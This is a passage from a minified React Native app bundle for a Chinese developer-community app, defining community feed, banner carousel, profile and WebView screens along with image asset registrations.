ORM\\u5e93\",author:\"\\u5434\\u6d77\\u8d85\",date:\"2017-10-14\",detail:\"\\u4e13\\u4e1a\\u7684\\u6570\\u636e\\u5e93\\u5b58\\u50a8\\u89e3\\u51b3\\u65b9\\u6848\\uff0c\\u7ebf\\u7a0b\\u5b89\\u5168\\uff0c\\u9ad8\\u6027\\u80fd\\u6a21\\u578b\\u5bf9\\u8c61\\u5b58\\u50a8Sqlite\\u5f00\\u6e90\\u5e93\\uff0c\\u771f\\u6b63\\u5b9e\\u73b0\\u4e00\\u884c\\u4ee3\\u7801\\u64cd\\u4f5c\\u6570\\u636e\\u5e93\\uff0c\\u8ba9\\u6570\\u636e\\u5e93\\u5b58\\u50a8\\u53d8\\u5f97\\u7b80\\u5355\",logoUrl:o(387),userIcon:o(388),collectionIcon:o(377),msgIcon:o(378),msgCount:7,linkUrl:\"https://github.com/netyouli/WHC_ModelSqliteKit\",collectionCount:10}]},382);\n__d(function(e,s,t,a){t.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:1298,height:736,scales:[1],hash:\"73048c5d584697f0c9e2275389f5359b\",name:\"autolayout_ads\",type:\"png\"})},383);\n__d(function(e,s,t,a){t.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:358,height:360,scales:[1],hash:\"fe2be80652d7a25412cc8c3346fea285\",name:\"tmp_user_icon3\",type:\"png\"})},384);\n__d(function(e,s,a,t){a.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:508,height:316,scales:[1],hash:\"80fbcac0614fcd094ef560ab71ec64c9\",name:\"logo1\",type:\"png\"})},385);\n__d(function(e,s,t,a){t.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:358,height:360,scales:[1],hash:\"7559612cd4861435c13c3f873d344c4f\",name:\"tmp_user_icon2\",type:\"png\"})},386);\n__d(function(e,s,t,a){t.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:428,height:300,scales:[1],hash:\"c36c0b71fe412945897fb81d21e5f3e9\",name:\"logo2\",type:\"png\"})},387);\n__d(function(e,s,t,a){t.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:360,height:358,scales:[1],hash:\"bef7e8770435ab71dc76de49fec496ad\",name:\"tmp_user_icon1\",type:\"png\"})},388);\n__d(function(e,t,a,l){Object.defineProperty(l,\"__esModule\",{value:!0});var r=t(52),i=babelHelpers.interopRequireDefault(r),n=t(12),s=t(390),u=babelHelpers.interopRequireDefault(s),o=t(392),f=babelHelpers.interopRequireDefault(o),c=t(372),d=babelHelpers.interopRequireWildcard(c),m=t(393),g=babelHelpers.interopRequireDefault(m),p=t(394),h=babelHelpers.interopRequireDefault(p),b=t(374),_=babelHelpers.interopRequireDefault(b),k=t(379),v=babelHelpers.interopRequireDefault(k),y=t(395),q=(babelHelpers.interopRequireDefault(y),t(396)),R=function(e){function a(e){babelHelpers.classCallCheck(this,a);var l=babelHelpers.possibleConstructorReturn(this,(a.__proto__||Object.getPrototypeOf(a)).call(this,e));return l._onRefresh=function(e){l._startRequest(!0)},l._startRequest=function(e){l._loading({refreshing:e||!1,requesting:!0}),_.default.get({api:\"community\"},function(e){l.datas=[],0==e.code&&(l.datas.push(e.data.banner),l.datas.push(l.grid_menu),l.datas.push({}),l.datas=l.datas.concat(e.data.hot_article)),setTimeout(function(){l._loading({refreshing:!1})},1e3)})},l._loading=function(e){var t=e.refreshing,a=e.requesting;l.setState({refreshing:t||!1,requesting:a||!1})},l._clickTopItem=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,a=l.props.navigation.navigate;switch(e){case 0:a(\"WeekHot\",{title:\"\\u672c\\u5468\\u6700\\u70ed\"});break;case 1:a(\"Collect\",{title:\"\\u6536\\u85cf\\u96c6\",type:q.CollectType.collect_set});break;case 2:a(\"OfflineActivity\",{title:\"\\u7ebf\\u4e0b\\u6d3b\\u52a8\"});break;case 3:a(\"SpecialColumn\");break;default:a(\"Webv\",{title:t.title,linkUrl:t.linkUrl})}},l._cell=function(e){var a=e.item,r=e.index;switch(r){case 0:return i.default.createElement(u.default,{style:H.banner,urls:function(){var e=[];return a.forEach(function(t){e.push(_.default.main_url+t.image_url)}),e}(),onPress:function(e,t){var r=l.props.navigation.navigate;r(\"Webv\",{title:\"\\u767e\\u5ea6\\u4e00\\u4e0b\",linkUrl:a[t].link_url})}});case 1:return i.default.createElement(f.default,{style:H.grid,column:4,data:a,renderItem:function(e,t){return i.default.createElement(n.TouchableHighlight,{key:t,onPress:function(){l._clickTopItem(t)},underlayColor:\"transparent\"},i.default.createElement(n.View,{style:H.item},i.default.createElement(n.Image,{style:H.itemImage,source:e.image}),i.default.createElement(n.Text,{style:H.itemText},e.title)))}});case 2:return i.default.createElement(n.View,{style:{backgroundColor:\"#F4F6F9\",paddingTop:20,paddingBottom:.5}},i.default.createElement(g.default,{image:t(397),title:\"\\u70ed\\u95e8\\u6587\\u7ae0\",markImage:t(398),markTitle:\"\\u5b9a\\u5236\\u70ed\\u95e8\"}));default:return i.default.createElement(h.default,{item:a,click:function(){l._clickTopItem(4,a)}})}},l.state={refreshing:!1,requesting:!1},l.grid_menu=[{title:\"\\u672c\\u5468\\u6700\\u70ed\",image:t(399)},{title:\"\\u6536\\u85cf\\u96c6\",image:t(400)},{title:\"\\u7ebf\\u4e0b\\u6d3b\\u52a8\",image:t(401)},{title:\"\\u4e13\\u680f\",image:t(402)}],l}return babelHelpers.inherits(a,e),babelHelpers.createClass(a,[{key:\"componentDidMount\",value:function(){this._startRequest()}},{key:\"render\",value:function(){var e=this.state.refreshing;return i.default.createElement(n.View,{style:{flex:1}},i.default.createElement(n.FlatList,{style:H.list,data:this.datas,renderItem:this._cell,refreshControl:i.default.createElement(n.RefreshControl,{title:\"Loading\",onRefresh:this._onRefresh,refreshing:e,colors:[\"#ffaa66cc\",\"#ff00ddff\",\"#ffffbb33\",\"#ffff4444\"]})}),i.default.createElement(v.default,{show:this.state.requesting}))}}]),a}(r.Component);R.navigationOptions={title:\"\\u793e\\u533a\"};var H=n.StyleSheet.create({banner:{height:150},list:{flex:1},grid:{flex:1,padding:20,backgroundColor:\"white\"},item:{alignItems:\"center\",justifyContent:\"center\",flexGrow:1,width:80},itemText:{color:d.themeBlack,fontSize:14,textAlign:\"center\",marginTop:15},itemImage:{width:30,height:30}});l.default=R},389);\n__d(function(e,t,n,r){Object.defineProperty(r,\"__esModule\",{value:!0});var i=t(52),o=babelHelpers.interopRequireDefault(i),l=t(111),a=(babelHelpers.interopRequireDefault(l),t(12)),s=t(391),c=babelHelpers.interopRequireWildcard(s),u=t(372),d=babelHelpers.interopRequireWildcard(u),f=function(e){function t(e){babelHelpers.classCallCheck(this,t);var n=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.updatePageIndex=function(e){n.setState({pageindex:e})},n.state={pageindex:0},n}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){for(var e=this.props.page,t=this.state.pageindex,n=[],r=0;r<e;r++)r==t?n.push(o.default.createElement(a.View,{key:r,style:[p.dot,{backgroundColor:d.themeColor}]})):n.push(o.default.createElement(a.View,{key:r,style:p.dot}));return o.default.createElement(a.View,{style:p.indicater},n)}}]),t}(i.Component),h=function(e){function t(e){babelHelpers.classCallCheck(this,t);var n=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n._onMomentumScrollEnd=function(e){var t=e.nativeEvent.contentOffset.x,r=n.imagecount,i=Math.floor((t-c.width/2)/c.width)+1;0==i?n.pageindex=r-1:i==r+1?n.pageindex=0:n.pageindex=i-1,n.indicater.updatePageIndex(n.pageindex)},n._onScrollBeginDrag=function(e){n._clearTimer()},n._onScrollEndDrag=function(e){var t=e.nativeEvent.contentOffset.x,r=n.imagecount;t==(r+1)*c.width?n._goIndex(1):0==t&&n._goIndex(r),n._makeTimer()},n._onScroll=function(e){var t=e.nativeEvent.contentOffset.x,r=(Math.floor((t-c.width/2)/c.width)+1,n.imagecount),i=n.offsetx<=t;if(t<=0){if(i)return;n._goIndex(r)}else if(t>=(r+1)*c.width){if(!i)return;n._goIndex(1)}n.offsetx=t},n._goIndex=function(e,t){n.offsetx=e*c.width,n.scrollview.scrollTo({x:e*c.width,y:0,animated:t||!1})},n._makeTimer=function(){var e=n.props.interval||3;n.timer=setInterval(function(){n.offsetx=-1,n.pageindex+=1,n._goIndex(n.pageindex,!0)},1e3*e)},n._clearTimer=function(){n.timer&&clearTimeout(n.timer)},n.state={},n.pageindex=0,n.offsetx=0,n}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){var e=this;this.timout=setTimeout(function(){e._goIndex(1)},100),this._makeTimer()}},{key:\"componentWillUnmount\",value:function(){this.timeout&&clearTimeout(this.timout),this._clearTimer()}},{key:\"render\",value:function(){var e=this,t=this.props,n=t.urls,r=t.style,i=t.renderIndicater,l=t.onPress;if(null!=n&&n.length>0){var s=n.length,c=[];this.imagecount=s;var u=[n[s-1]];return u=u.concat(n),u.push(n[0]),u.forEach(function(e,t){var n=null;n=e.startsWith(\"http\")?{uri:e}:e,c.push(o.default.createElement(a.TouchableHighlight,{key:t,onPress:function(){void 0!=l&&l(e,t)}},o.default.createElement(a.Image,{style:p.img,source:n,resizeMode:\"stretch\"})))}),o.default.createElement(a.View,{style:r},o.default.createElement(a.ScrollView,{ref:function(t){e.scrollview=t},style:{flex:1},horizontal:!0,showsHorizontalScrollIndicator:!1,pagingEnabled:!0,bounces:!1,onMomentumScrollEnd:this._onMomentumScrollEnd,onScrollBeginDrag:this._onScrollBeginDrag,onScrollEndDrag:this._onScrollEndDrag,onScroll:this._onScroll},c),void 0==i||null==i?o.default.createElement(f,{ref:function(t){e.indicater=t},page:s}):i(s))}return null}}]),t}(i.Component),p=a.StyleSheet.create({img:{flex:1,width:c.width},indicater:{position:\"absolute\",height:30,flexDirection:\"row\",padding:10,justifyContent:\"center\",bottom:0,width:c.width,backgroundColor:\"rgba(0,0,0,0.4)\"},dot:{backgroundColor:\"white\",width:10,height:10,borderRadius:5,marginLeft:10}});r.default=h},390);\n__d(function(i,e,t,d){Object.defineProperty(d,\"__esModule\",{value:!0}),d.height=d.width=void 0;var h=e(12);d.width=h.Dimensions.get(\"window\").width,d.height=h.Dimensions.get(\"window\").height},391);\n__d(function(e,t,r,n){Object.defineProperty(n,\"__esModule\",{value:!0});var a=t(52),l=babelHelpers.interopRequireDefault(a),u=t(111),o=babelHelpers.interopRequireDefault(u),f=t(12),i={column:o.default.number,data:o.default.array,renderItem:o.default.func,style:f.ViewPropTypes.style,rowSeparatorLineRender:o.default.func,columnSeparatorLineRender:o.default.func},d=function(e){var t=e.column,r=e.data,n=e.renderItem,a=e.style,u=e.rowSeparatorLineRender,o=e.columnSeparatorLineRender;if(0==t||0==r.length)return null;for(var i=r.length,d=i/t+(i%t!=0?1:0),s=new Array,c=0;c<d;c++){for(var m=new Array,y=0;y<t;y++){var h=c*t+y;h<i?m.push(r[h]):m.push({})}s.push(m)}return l.default.createElement(f.View,{style:a},l.default.createElement(f.FlatList,{style:p.list,data:s,ItemSeparatorComponent:null!=u?u:null,renderItem:function(e){var r=e.item,a=e.index,u=new Array;null!=o?Math.min(0,t-1):0;return r.forEach(function(e,r){u.push(n(e,a*t+r)),r<t-1&&null!=o&&u.push(o())}),l.default.createElement(f.View,{style:p.item,key:a},u)}}))};d.propTypes=i,d.defaultProps={column:1,data:[],renderItem:function(){}};var p=f.StyleSheet.create({list:{flex:1},item:{flex:1,flexDirection:\"row\",justifyContent:\"space-between\"}});n.default=d},392);\n__d(function(e,t,l,r){Object.defineProperty(r,\"__esModule\",{value:!0});var a=t(52),i=babelHelpers.interopRequireDefault(a),n=t(12),o=t(372),s=babelHelpers.interopRequireWildcard(o),c=function(e){function t(e){babelHelpers.classCallCheck(this,t);var l=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return l.state={},l}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this.props,t=e.image,l=e.title,r=e.markImage,a=e.markTitle;return i.default.createElement(n.View,{style:u.view},i.default.createElement(n.Image,{style:u.img,source:t}),i.default.createElement(n.Text,{style:u.title},l),i.default.createElement(n.Image,{style:u.img,source:r}),i.default.createElement(n.Text,{style:u.markTitle},a))}}]),t}(a.Component),u=n.StyleSheet.create({view:{flex:1,paddingTop:10,paddingBottom:10,paddingLeft:20,paddingRight:20,flexDirection:\"row\",alignItems:\"center\",backgroundColor:\"white\"},img:{width:20,height:20},title:{marginLeft:15,fontSize:14,color:s.themeBlack,flexGrow:2},markTitle:{marginLeft:15,fontSize:14,color:s.themeGary}});r.default=c},393);\n__d(function(e,t,l,i){Object.defineProperty(i,\"__esModule\",{value:!0});var r=t(52),a=babelHelpers.interopRequireDefault(r),n=t(12),o=t(374),u=babelHelpers.interopRequireDefault(o),s=t(372),c=babelHelpers.interopRequireWildcard(s),f=function(e){function t(e){babelHelpers.classCallCheck(this,t);var l=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return l.state={},l}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this.props.item,t=e.title,l=e.loveNum,i=e.image,r=e.time,o=e.organizeName,s=e.key,c=this.props.click;return null!=i?a.default.createElement(n.TouchableHighlight,{onPress:c,key:s},a.default.createElement(n.View,{style:{flex:1}},a.default.createElement(n.View,{style:m.viewimage},a.default.createElement(n.View,{style:m.view},a.default.createElement(n.Text,{style:m.title},t),a.default.createElement(n.Text,{style:m.info},l+\"\\u4eba\\u559c\\u6b22 \\xb7 \"+o+\" \\xb7 \"+r)),a.default.createElement(n.Image,{style:m.img,source:{uri:u.default.main_url+i}})),a.default.createElement(n.View,{style:m.bottomLine}))):a.default.createElement(n.TouchableHighlight,{onPress:c},a.default.createElement(n.View,{style:{flex:1}},a.default.createElement(n.View,{style:m.view},a.default.createElement(n.Text,{style:m.title},t),a.default.createElement(n.Text,{style:m.info},l+\"\\u4eba\\u559c\\u6b22 \\xb7 \"+o+\" \\xb7 \"+r)),a.default.createElement(n.View,{style:m.bottomLine})))}}]),t}(r.Component),m=n.StyleSheet.create({viewimage:{flex:1,flexDirection:\"row\",backgroundColor:\"white\"},view:{flex:1,padding:20,backgroundColor:\"white\"},title:{fontSize:14,color:c.themeBlack},info:{marginTop:15,color:\"gray\",fontSize:12},bottomLine:{backgroundColor:\"#f1f1f1\",height:.5},img:{marginTop:20,marginRight:20,width:50,height:50}});i.default=f},394);\n__d(function(e,t,a,n){Object.defineProperty(n,\"__esModule\",{value:!0});var r=t(52),i=babelHelpers.interopRequireDefault(r),o=t(12),l=function(e){function t(e){babelHelpers.classCallCheck(this,t);var a=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return a._goBack=function(){return!!a.canGoBack&&(a.webview.goBack(),!0)},a._onNavigationStateChange=function(e){a.canGoBack=e.canGoBack},a.canGoBack=!1,a.state={},a}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){o.BackHandler.addEventListener(\"hardwareBackPress\",this._goBack)}},{key:\"render\",value:function(){var e=this,t=this.props.navigation.state.params;return i.default.createElement(o.View,{style:c.view},i.default.createElement(o.WebView,{ref:function(t){e.webview=t},style:c.web,onNavigationStateChange:this._onNavigationStateChange,source:{uri:t.linkUrl}}))}}]),t}(r.Component);l.navigationOptions=function(e){var t=e.navigation;return{title:t.state.params.title}};var c=o.StyleSheet.create({view:{flex:1},web:{flex:1}});n.default=l},395);\n__d(function(e,l,o,c){Object.defineProperty(c,\"__esModule\",{value:!0});c.ModifyType={email:0,mobile:1,password:2},c.CollectType={my_collect:0,collect_set:1}},396);\n__d(function(e,a,t,s){t.exports=a(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:40,height:40,scales:[1],hash:\"1a2215ea4b18eaaadf439deeba720814\",name:\"community_hot_section_icon\",type:\"png\"})},397);\n__d(function(e,a,s,t){s.exports=a(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:40,height:40,scales:[1],hash:\"3cf261a8a02a159bda13eeaa4096c55b\",name:\"community_set_icon\",type:\"png\"})},398);\n__d(function(e,t,s,c){s.exports=t(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:120,height:120,scales:[1],hash:\"1b5ccc10c67053935f6b6d13075cddbe\",name:\"community_hot_icon\",type:\"png\"})},399);\n__d(function(e,t,s,a){s.exports=t(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:120,height:120,scales:[1],hash:\"fbd87adfcb80929ccfb07f9c7bff61a2\",name:\"community_collect_icon\",type:\"png\"})},400);\n__d(function(e,t,a,s){a.exports=t(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:120,height:120,scales:[1],hash:\"d7737c2e4f61c16cba1b3e4eea6068ee\",name:\"community_active_icon\",type:\"png\"})},401);\n__d(function(e,s,t,a){t.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:120,height:120,scales:[1],hash:\"71d435327f8cdbd49df052ac368d85bf\",name:\"community_column_icon\",type:\"png\"})},402);\n__d(function(e,t,l,i){Object.defineProperty(i,\"__esModule\",{value:!0});var n=t(52),a=babelHelpers.interopRequireDefault(n),o=t(12),u=t(404),r=babelHelpers.interopRequireDefault(u),c=t(407),f=babelHelpers.interopRequireDefault(c),s=t(408),d=babelHelpers.interopRequireDefault(s),p=t(374),m=babelHelpers.interopRequireDefault(p),b=t(379),_=babelHelpers.interopRequireDefault(b),g=t(376),k=babelHelpers.interopRequireDefault(g),v=t(410),h=babelHelpers.interopRequireDefault(v),q=t(375),y=babelHelpers.interopRequireDefault(q),H=t(396),R=function(e){function l(e){babelHelpers.classCallCheck(this,l);var t=babelHelpers.possibleConstructorReturn(this,(l.__proto__||Object.getPrototypeOf(l)).call(this,e));return t._clickItem=function(e,l){if(e){var i=t.props.navigation.navigate;y.default.did_login?i(e,l||{}):i(\"Login\",{block:function(e){t._loading(!1,e)}})}},t._startRequest=function(){y.default.did_login||t._autoLogin()},t._autoLogin=function(){k.default.value(\"login\",function(e){e&&2==h.default.count(e)&&(t._loading(!0),m.default.post({api:\"login/\",param:e},function(e){y.default.user_info=e,t._loading(!1,e)}))})},t._loading=function(e,l){t.setState({requesting:e||!1,user_info:l||{}})},t.state={requesting:!1,user_info:{}},t}return babelHelpers.inherits(l,e),babelHelpers.createClass(l,[{key:\"componentDidMount\",value:function(){this._autoLogin()}},{key:\"render\",value:function(){var e=this,l=this.state.user_info,i=void 0!=l.lovenum?l.lovenum+\"\\u7bc7\":\"\",n=void 0!=l.collectnum?l.collectnum+\"\\u4e2a\":\"\",u=void 0!=l.readnum?l.readnum+\"\\u7bc7\":\"\";return[a.default.createElement(o.ScrollView,{style:D.scrollView},a.default.createElement(r.default,{style:D.header,info:l,click:function(){e._clickItem(\"User\",{user_info:l})}}),a.default.createElement(f.default,null),a.default.createElement(o.View,{style:D.section1},a.default.createElement(d.default,{img:t(411),title:\"\\u6211\\u559c\\u6b22\\u7684\",value:i,click:function(){e._clickItem(\"MyLike\",{title:\"\\u6211\\u559c\\u6b22\\u7684\"})}}),a.default.createElement(d.default,{img:t(412),title:\"\\u6211\\u7684\\u6536\\u85cf\\u96c6\",value:n,click:function(){e._clickItem(\"Collect\",{title:\"\\u6211\\u7684\\u6536\\u85cf\\u96c6\",type:H.CollectType.my_collect})}}),a.default.createElement(d.default,{img:t(413),title:\"\\u9605\\u8bfb\\u8fc7\\u7684\\u6587\\u7ae0\",value:u,click:function(){e._clickItem(\"DidRead\",{title:\"\\u9605\\u8bfb\\u8fc7\\u7684\\u6587\\u7ae0\"})}})),a.default.createElement(o.View,{style:D.section2},a.default.createElement(d.default,{img:t(414),title:\"\\u610f\\u89c1\\u53cd\\u9988\",click:function(){e._clickItem(\"Feedback\")}}),a.default.createElement(d.default,{img:t(415),title:\"\\u8bbe\\u7f6e\",click:function(){e._clickItem(\"Set\",{user_info:l,block:function(){e._loading(!1,{})}})}}))),a.default.createElement(_.default,{show:this.state.requesting})]}}]),l}(n.Component);R.navigationOptions={title:\"\\u6211\\u7684\"};var D=o.StyleSheet.create({scrollView:{flex:1,backgroundColor:\"#F4F6F9\",paddingTop:15,paddingBottom:15},header:{flex:1},section1:{marginTop:15,backgroundColor:\"white\"},section2:{marginTop:15,backgroundColor:\"white\"}});i.default=R},403);\n__d(function(e,t,r,l){Object.defineProperty(l,\"__esModule\",{value:!0});var a=t(52),i=babelHelpers.interopRequireDefault(a),n=t(12),o=t(372),s=babelHelpers.interopRequireWildcard(o),u=t(374),c=babelHelpers.interopRequireDefault(u),f=function(e){function r(e){babelHelpers.classCallCheck(this,r);var t=babelHelpers.possibleConstructorReturn(this,(r.__proto__||Object.getPrototypeOf(r)).call(this,e));return t.state={},t}return babelHelpers.inherits(r,e),babelHelpers.createClass(r,[{key:\"render\",value:function(){var e=this.props,r=e.click,l=e.info,a=t(405);void 0!=l&&l.image&&(a={uri:c.default.main_url+l.image});var o=l.username||\"\\u6e38\\u5ba2\",s=l.detail||\"\\u6682\\u672a\\u767b\\u5f55\";return i.default.createElement(n.TouchableHighlight,{onPress:r},i.default.createElement(n.View,{style:d.header},i.default.createElement(n.Image,{style:d.userImg,source:a}),i.default.createElement(n.View,{style:d.userNameView},i.default.createElement(n.Text,{style:d.titleText,numberOfLines:1},o),i.default.createElement(n.Text,{style:d.detailText,numberOfLines:1},s)),i.default.createElement(n.Image,{style:d.arrowImg,source:t(406)})))}}]),r}(a.Component),d=n.StyleSheet.create({header:{flex:1,flexDirection:\"row\",padding:20,alignItems:\"center\",backgroundColor:\"white\"},userImg:{width:70,height:70,borderRadius:35},userNameView:{marginLeft:15,flexDirection:\"column\",flexGrow:1,height:50},titleText:{fontSize:20,fontWeight:\"bold\",color:s.themeBlack,flexGrow:1},detailText:{fontSize:14,color:\"gray\"},arrowImg:{width:18,height:18,marginLeft:15}});l.default=f},404);\n__d(function(e,s,t,a){t.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:100,height:100,scales:[1],hash:\"c610b7a1f0b7d47802d457c7724b7187\",name:\"default_icon\",type:\"png\"})},405);\n__d(function(e,s,t,a){t.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:30,height:30,scales:[1],hash:\"29f882ea54b6d1bff8726bdf4bbf8c06\",name:\"right_arrow_icon\",type:\"png\"})},406);\n__d(function(e,t,r,l){Object.defineProperty(l,\"__esModule\",{value:!0});var n=t(52),a=babelHelpers.interopRequireDefault(n),i=t(12),o=t(372),s=babelHelpers.interopRequireWildcard(o),u=function(e){function t(e){babelHelpers.classCallCheck(this,t);var r=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return r.state={},r}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){return a.default.createElement(i.View,{style:b.line})}}]),t}(n.Component),b=i.StyleSheet.create({line:{height:.5,backgroundColor:s.themeLine}});l.default=u},407);\n__d(function(e,t,l,a){Object.defineProperty(a,\"__esModule\",{value:!0});var r=t(52),i=babelHelpers.interopRequireDefault(r),u=t(12),n=t(111),c=babelHelpers.interopRequireDefault(n),o=t(407),f=babelHelpers.interopRequireDefault(o),d=t(372),m=babelHelpers.interopRequireWildcard(d),s={click:c.default.func,img:c.default.object,title:c.default.string,value:c.default.string,isSwitch:c.default.bool},g=function(e){var t=e.img,l=e.title,a=e.value,r=e.click,n=e.isSwitch;return i.default.createElement(u.TouchableHighlight,{onPress:r,underlayColor:\"transparent\"},i.default.createElement(u.View,null,i.default.createElement(u.View,{style:h.item},i.default.createElement(u.Image,{style:h.markImg,source:t}),i.default.createElement(u.Text,{style:h.titleText},l),n?i.default.createElement(u.Switch,null):i.default.createElement(u.Text,{style:h.valueText},a)),i.default.createElement(f.default,null)))};g.prototype=s,g.defaultProps={click:function(){},title:\"\",value:\"\",isSwitch:!1,img:t(409)};var h=u.StyleSheet.create({item:{backgroundColor:\"white\",height:50,flexDirection:\"row\",alignItems:\"center\",padding:20},markImg:{width:20,height:20},titleText:{marginLeft:20,flexGrow:1,fontSize:17,color:m.themeBlack},valueText:{fontSize:14,color:\"gray\"}});a.default=g},408);\n__d(function(e,s,a,t){a.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:80,height:80,scales:[1],hash:\"15371e031ba5684e06355514d6fd7144\",name:\"home_normal_icon\",type:\"png\"})},409);\n__d(function(e,r,t,n){Object.defineProperty(n,\"__esModule\",{value:!0});var a=function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"istel\",value:function(e){if(e){var r=/(^1\\d{10})/;return r.test(e)}return!1}},{key:\"isemail\",value:function(e){if(e){var r=/^([0-9A-Za-z\\-_\\.]+)@([0-9a-z]+\\.[a-z]{2,3}(\\.[a-z]{2})?)$/;return r.test(e)}return!1}},{key:\"count\",value:function e(r){if(r){var e=0;for(var t in r)r.hasOwnProperty(t)&&(e+=1);return e}return 0}}]),e}();n.default=a},410);\n__d(function(e,a,s,t){s.exports=a(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:40,height:40,scales:[1],hash:\"30cdce2a0b2a1c6e4b3476f2a9fbc35a\",name:\"my_love_icon\",type:\"png\"})},411);\n__d(function(e,s,t,a){t.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:40,height:40,scales:[1],hash:\"25e5e6cf17f473640a655d659b3784ee\",name:\"my_collect_icon\",type:\"png\"})},412);\n__d(function(e,a,s,t){s.exports=a(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:40,height:40,scales:[1],hash:\"b533c0ace1d7def472a000d00e41a126\",name:\"my_read_icon\",type:\"png\"})},413);\n__d(function(e,s,t,a){t.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:40,height:40,scales:[1],hash:\"a715d8927c0009ddfc164d1411cd91c9\",name:\"my_suggest_icon\",type:\"png\"})},414);\n__d(function(e,s,t,a){t.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:40,height:40,scales:[1],hash:\"e6676dc077bbabbf3161d9195c8701b2\",name:\"my_set_icon\",type:\"png\"})},415);\n__d(function(e,a,s,t){s.exports=a(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:80,height:80,scales:[1],hash:\"245faeca580e6c4551f9a46603f62380\",name:\"community_normal_icon\",type:\"png\"})},416);\n__d(function(e,s,a,t){a.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:80,height:80,scales:[1],hash:\"18086f4486abbb4f3006ef8cbef22234\",name:\"my_normal_icon\",type:\"png\"})},417);\n__d(function(e,t,l,r){Object.defineProperty(r,\"__esModule\",{value:!0});var n=t(52),a=babelHelpers.interopRequireDefault(n),i=t(12),o=t(372),s=babelHelpers.interopRequireWildcard(o),u=function(e){function t(e){babelHelpers.classCallCheck(this,t);var l=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return l.state={},l}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){return a.default.createElement(i.View,{style:c.view},a.default.createElement(i.Text,{style:c.text},\"\\u529f\\u80fd\\u8fd8\\u5728\\u5f00\\u53d1\\uff0c\\u656c\\u8bf7\\u671f\\u5f85\"))}}]),t}(n.Component);u.navigationOptions={title:\"\\u5f00\\u53d1\\u4e2d\"};var c=i.StyleSheet.create({view:{flex:1,justifyContent:\"center\",alignItems:\"center\"},text:{fontSize:20,fontWeight:\"bold\",color:s.themeColor}});r.default=u},418);\n__d(function(e,t,l,a){Object.defineProperty(a,\"__esModule\",{value:!0});var i=t(52),o=babelHelpers.interopRequireDefault(i),r=t(12),n=t(420),u=babelHelpers.interopRequireDefault(n),s=t(407),f=babelHelpers.interopRequireDefault(s),p=t(396),d=t(372),c=babelHelpers.interopRequireWildcard(d),b=t(421),g=babelHelpers.interopRequireDefault(b),m=t(374),v=(babelHelpers.interopRequireDefault(m),t(375)),y=babelHelpers.interopRequireDefault(v),_=function(e){function t(e){babelHelpers.classCallCheck(this,t);var l=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return l._gotoModityUI=function(e,t){var a=l.props.navigation.navigate;a(\"Modify\",{title:e,type:t})},l._exitLogin=function(){var e=(l.props.navigation.navigate,l.props.navigation.state.params.block);y.default.exit_login(),e&&e(),l.props.navigation.goBack()},l.state={},l}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this,t=this.props.navigation.state.params.user_info;return 